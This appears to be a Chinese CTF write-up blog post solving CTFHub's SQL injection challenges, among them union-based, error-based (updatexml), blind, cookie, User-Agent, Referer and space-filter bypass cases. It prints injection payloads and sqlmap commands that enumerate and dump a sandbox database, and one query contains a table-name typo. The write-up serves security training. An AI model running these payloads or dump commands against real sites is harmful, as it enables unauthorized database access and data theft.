CTFHUB之sql注入(特详解)

CTFHUB之sql注入

1.整数型注入

1.这里我使用的是Hackbar来进行sql注入,首先先判断有没有注入漏洞

加单引号

在这里插入图片描述

去掉‘加上and 1=1发现出现了回显

在这里插入图片描述

将1=1变为1=2,语句正确但是无法访问数据库

在这里插入图片描述

这里可以判定这里存在数字注入漏洞

2.接下来判断字段数量

这里输入id=1 order by 2看是否字段数量是否是2个

在这里插入图片描述

3.查询SQL语句插入位置

这里使用联合查询,查询库名。可以在data库中插入sql语句,也就是2的位置

在这里插入图片描述

4.获取数据库库名

1)获取当前数据库库名,数据库的名称为sqli

在这里插入图片描述

2)获取所有数据库的库名

这里输入union select 1,group_concat(schema_name)from information_schema.schemata

在这里插入图片描述

3)逐条获取数据库库名

select schema_name from information_schema.schemata limit 0,1;

修改limit中第一个数字获取其他的数据库名,如获取第二个库名:limit 1,1。

5.获取数据库表名

一次性获取当前数据库所有的表名

union select 1,group_concat(table_name) from information_schema.table where table_schema=‘sqli’

在这里插入图片描述

6.这时候已经发现flag只需要把这个字段得出即可,把flag里的所有的字段得出

union select 1,group_concat(column_name) from information_schema.columns where table_schema=‘sqli’ and table_name=‘flag’

在这里插入图片描述

7.获取数据

一次性获取所有数据

union select 1,group_concat(flag) from sqli.flag

在这里插入图片描述

2.字符型注入

这里使用sqlmap来进行查库

1.sqlmap爆当前数据库信息

python sqlmap.py -u “http://challenge-fe965eeefb82914d.sandbox.ctfhub.com:10080/?id=1” --current-db

在这里插入图片描述

数据库名称为sqli

2.sqlmap列出指定数据库所有的表名

python sqlmap.py -u “http://challenge-fe965eeefb82914d.sandbox.ctfhub.com:10080/?id=1” -D sqli --tables

在这里插入图片描述

表名为flag,news

3.sqlmap列出指定表名的所有列名

python sqlmap.py -u “http://challenge-fe965eeefb82914d.sandbox.ctfhub.com:10080/?id=1” -D sqli -T flag --columns

在这里插入图片描述

4.sqlmap爆出指定列名字段的值数据

python sqlmap.py -u “http://challenge-fe965eeefb82914d.sandbox.ctfhub.com:10080/?id=1” -D sqli -T flag -C flag --dump

在这里插入图片描述

3.报错注入

1.查询当前使用的数据库

-1 union select updatexml(1, concat(0x7e, database(),0x7e),1)

在这里插入图片描述

2.查询数据库表名

-1 union select updatexml(1, concat(0x7e,( select( group_concat( table_name))from information_schema.tables where table_schema=“sqli”),0x7e),1)
在这里插入图片描述

3.获取表的字段名

-1 union select updatexml(1, concat(0x7e,( select( group_concat(column_name))from information_schema.columns where table_schema=‘sqli’ and table_name=‘flag’),0x7e),1)
在这里插入图片描述

4.获取指定数据库的表的列的内容(得到flag)

在这里插入图片描述

4.布尔盲注

这里使用上面的sqlmap方法,这是这里使用的是布尔盲注

在这里插入图片描述

5.时间盲注

这里的办法和上面的一样。

在这里插入图片描述

MYSQL结构

1.输入1发现两个输入点,验证这两个输入点

在这里插入图片描述

2.获取数据库名称

在这里插入图片描述

3.得到数据库中的表的名称
在这里插入图片描述

4.查询jvqhzntymw的字段名称

在这里插入图片描述

5.查询对应字段的值得到flag

在这里插入图片描述

在这里插入图片描述

COOKIE注入

1.判断注入点

在这里插入图片描述

2.爆当前数据库信息

在这里插入图片描述

3.列出指定数据库所有的表名 vjfntvadvv

在这里插入图片描述

4.列出指定表名的所有列名

在这里插入图片描述

5.查询对应字段的值,得到flag

在这里插入图片描述

UA注入

1.抓包分析,注入点在请求头中

在这里插入图片描述

2.查看所有的数据库

在这里插入图片描述

3.查询所有表

在这里插入图片描述

4.查询所有的字段,查询flag

在这里插入图片描述

Refer注入

1.先进行抓包处理,这里没有referer在bp中加入

在这里插入图片描述

2.查库

在这里插入图片描述

查表

在这里插入图片描述

查字段

在这里插入图片描述

找到flag

在这里插入图片描述

过滤空格

1.先输入id=1 order by 2

在这里插入图片描述

2.这里使用hackbar进行注入。这里用/**/来代替空格

先进行查库

在这里插入图片描述

3.查表

在这里插入图片描述

4.查字段找到flag

在这里插入图片描述

  • 3
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小宇特详解

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值